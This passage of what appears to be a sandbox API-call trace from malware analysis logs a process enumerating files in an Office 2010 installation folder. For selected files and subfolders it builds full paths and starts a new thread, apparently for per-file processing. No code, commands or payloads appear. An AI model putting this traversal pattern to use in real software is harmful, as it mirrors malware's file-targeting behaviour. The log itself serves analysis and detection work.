Office\\Office14\\" [0126.822] wcscat (in: _Dest=0x20504890, _Source="OLKIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" [0126.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc44 [0126.823] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x44ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAPI32.DLL", cAlternateFileName="")) returned 1 [0126.823] wcscmp (_String1="OLMAPI32.DLL", _String2=".") returned 1 [0126.823] wcscmp (_String1="OLMAPI32.DLL", _String2="..") returned 1 [0126.823] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e85b00, ftCreationTime.dwHighDateTime=0x1c9e5a5, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e85b00, ftLastWriteTime.dwHighDateTime=0x1c9e5a5, nFileSizeHigh=0x0, nFileSizeLow=0x172bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMML2MML.XSL", cAlternateFileName="")) returned 1 [0126.823] wcscmp (_String1="OMML2MML.XSL", _String2=".") returned 1 [0126.823] wcscmp (_String1="OMML2MML.XSL", _String2="..") returned 1 [0126.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c10 [0126.823] wcscpy (in: _Dest=0x20504c10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.824] wcscat (in: _Dest=0x20504c10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.824] wcscat (in: _Dest=0x20504c10, _Source="OMML2MML.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL" [0126.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc40 [0126.825] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x10d980, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMAIN.DLL", cAlternateFileName="")) returned 1 [0126.825] wcscmp (_String1="OMSMAIN.DLL", _String2=".") returned 1 [0126.825] wcscmp (_String1="OMSMAIN.DLL", _String2="..") returned 1 [0126.825] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x59d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSXP32.DLL", cAlternateFileName="")) returned 1 [0126.825] wcscmp (_String1="OMSXP32.DLL", _String2=".") returned 1 [0126.825] wcscmp (_String1="OMSXP32.DLL", _String2="..") returned 1 [0126.825] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xc4390, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0126.825] wcscmp (_String1="ONBttnIE.dll", _String2=".") returned 1 [0126.825] wcscmp (_String1="ONBttnIE.dll", _String2="..") returned 1 [0126.825] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x91390, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0126.825] wcscmp (_String1="ONBttnIELinkedNotes.dll", _String2=".") returned 1 [0126.825] wcscmp (_String1="ONBttnIELinkedNotes.dll", _String2="..") returned 1 [0126.825] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee925900, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6beaa730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee925900, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdbd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnOL.dll", cAlternateFileName="")) returned 1 [0126.825] wcscmp (_String1="ONBttnOL.dll", _String2=".") returned 1 [0126.825] wcscmp (_String1="ONBttnOL.dll", _String2="..") returned 1 [0126.825] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnPPT.dll", cAlternateFileName="ONBTTN~2.DLL")) returned 1 [0126.827] wcscmp (_String1="ONBttnPPT.dll", _String2=".") returned 1 [0126.827] wcscmp (_String1="ONBttnPPT.dll", _String2="..") returned 1 [0126.827] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnWD.dll", cAlternateFileName="")) returned 1 [0126.827] wcscmp (_String1="ONBttnWD.dll", _String2=".") returned 1 [0126.827] wcscmp (_String1="ONBttnWD.dll", _String2="..") returned 1 [0126.827] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote", cAlternateFileName="")) returned 1 [0126.827] wcscmp (_String1="OneNote", _String2=".") returned 1 [0126.827] wcscmp (_String1="OneNote", _String2="..") returned 1 [0126.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c2360 [0126.827] wcscpy (in: _Dest=0x1b7c2360, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.827] wcscat (in: _Dest=0x1b7c2360, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.827] wcscat (in: _Dest=0x1b7c2360, _Source="OneNote" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" [0129.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ec [0129.929] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0129.929] wcscmp (_String1="ONENOTE.EXE", _String2=".") returned 1 [0129.929] wcscmp (_String1="ONENOTE.EXE", _String2="..") returned 1 [0129.929] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde807b00, ftCreationTime.dwHighDateTime=0x1ca1b0c, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde807b00, ftLastWriteTime.dwHighDateTime=0x1ca1b0c, nFileSizeHigh=0x0, nFileSizeLow=0x138f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEIRM.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0129.929] wcscmp (_String1="ONENOTEIRM.XML", _String2=".") returned 1 [0129.929] wcscmp (_String1="ONENOTEIRM.XML", _String2="..") returned 1 [0129.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79d670 [0129.929] wcscpy (in: _Dest=0x1b79d670, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0129.929] wcscat (in: _Dest=0x1b79d670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0129.929] wcscat (in: _Dest=0x1b79d670, _Source="ONENOTEIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" [0129.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79d670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x165c [0129.931] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEM.EXE", cAlternateFileName="")) returned 1 [0129.931] wcscmp (_String1="ONENOTEM.EXE", _String2=".") returned 1 [0129.931] wcscmp (_String1="ONENOTEM.EXE", _String2="..") returned 1 [0129.931] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x26d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEMANAGED.DLL", cAlternateFileName="ONENOT~1.DLL")) returned 1 [0129.931] wcscmp (_String1="ONENOTEMANAGED.DLL", _String2=".") returned 1 [0129.931] wcscmp (_String1="ONENOTEMANAGED.DLL", _String2="..") returned 1 [0129.931] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf42cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x182970, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONFILTER.DLL", cAlternateFileName="")) returned 1 [0129.931] wcscmp (_String1="ONFILTER.DLL", _String2=".") returned 1 [0129.931] wcscmp (_String1="ONFILTER.DLL", _String2="..") returned 1 [0129.931] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x135a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0129.931] wcscmp (_String1="ONLNTCOMLIB.DLL", _String2=".") returned 1 [0129.931] wcscmp (_String1="ONLNTCOMLIB.DLL", _String2="..") returned 1 [0129.932] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8dfa00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6c157ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d8dfa00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0xd3e368, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONMAIN.DLL", cAlternateFileName="")) returned 1 [0129.932] wcscmp (_String1="ONMAIN.DLL", _String2=".") returned 1 [0129.932] wcscmp (_String1="ONMAIN.DLL", _String2="..") returned 1 [0129.932] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xa8180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONPPTAddin.dll", cAlternateFileName="ONPPTA~1.DLL")) returned 1 [0129.932] wcscmp (_String1="ONPPTAddin.dll", _String2=".") returned 1 [0129.932] wcscmp (_String1="ONPPTAddin.dll", _String2="..") returned 1 [0129.932] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x59864770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONWordAddin.dll", cAlternateFileName="ONWORD~1.DLL")) returned 1 [0129.932] wcscmp (_String1="ONWordAddin.dll", _String2=".") returned 1 [0129.932] wcscmp (_String1="ONWordAddin.dll", _String2="..") returned 1 [0129.932] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd041f000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.DLL", cAlternateFileName="")) returned 1 [0129.932] wcscmp (_String1="ORGCHART.DLL", _String2=".") returned 1 [0129.933] wcscmp (_String1="ORGCHART.DLL", _String2="..") returned 1 [0129.933] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0491420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaeb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHWIZ.DLL", cAlternateFileName="")) returned 1 [0129.933] wcscmp (_String1="ORGCHWIZ.DLL", _String2=".") returned 1 [0129.933] wcscmp (_String1="ORGCHWIZ.DLL", _String2="..") returned 1 [0129.933] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64609a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.EXE", cAlternateFileName="")) returned 1 [0129.933] wcscmp (_String1="ORGWIZ.EXE", _String2=".") returned 1 [0129.933] wcscmp (_String1="ORGWIZ.EXE", _String2="..") returned 1 [0129.933] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64d2dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x6a798, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORMELEMS.DLL", cAlternateFileName="")) returned 1 [0129.933] wcscmp (_String1="ORMELEMS.DLL", _String2=".") returned 1 [0129.933] wcscmp (_String1="ORMELEMS.DLL", _String2="..") returned 1 [0129.933] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x830db760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x11990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORMMODEL.MDL", cAlternateFileName="")) returned 1 [0129.933] wcscmp (_String1="ORMMODEL.MDL", _String2=".") returned 1 [0129.933] wcscmp (_String1="ORMMODEL.MDL", _String2="..") returned 1 [0129.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d570 [0129.933] wcscpy (in: _Dest=0x1b79d570, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0129.933] wcscat (in: _Dest=0x1b79d570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0129.933] wcscat (in: _Dest=0x1b79d570, _Source="ORMMODEL.MDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL" [0129.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79d570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1664 [0129.935] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x3d05, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0129.935] wcscmp (_String1="OSPP.HTM", _String2=".") returned 1 [0129.935] wcscmp (_String1="OSPP.HTM", _String2="..") returned 1 [0129.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c1d40 [0129.935] wcscpy (in: _Dest=0x1b7c1d40, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0129.935] wcscat (in: _Dest=0x1b7c1d40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0129.935] wcscat (in: _Dest=0x1b7c1d40, _Source="OSPP.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM") returned="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" [0129.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164c [0129.936] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0xc119, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0129.936] wcscmp (_String1="OSPP.VBS", _String2=".") returned 1 [0129.936] wcscmp (_String1="OSPP.VBS", _String2="..") returned 1 [0129.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c23d0 [0129.937] wcscpy (in: _Dest=0x1b7c23d0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0129.937] wcscat (in: _Dest=0x1b7c23d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0129.937] wcscat (in: _Dest=0x1b7c23d0, _Source="OSPP.VBS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS") returned="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS" [0129.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c23d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd28 [0129.938] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xa160, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLACCT.DLL", cAlternateFileName="")) returned 1 [0129.938] wcscmp (_String1="OUTLACCT.DLL", _String2=".") returned 1 [0129.938] wcscmp (_String1="OUTLACCT.DLL", _String2="..") returned 1 [0129.938] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x28960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLCTL.DLL", cAlternateFileName="")) returned 1 [0129.939] wcscmp (_String1="OUTLCTL.DLL", _String2=".") returned 1 [0129.939] wcscmp (_String1="OUTLCTL.DLL", _String2="..") returned 1 [0129.939] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc37fa400, ftCreationTime.dwHighDateTime=0x1ca0b28, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc37fa400, ftLastWriteTime.dwHighDateTime=0x1ca0b28, nFileSizeHigh=0x0, nFileSizeLow=0x380000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DAT", cAlternateFileName="")) returned 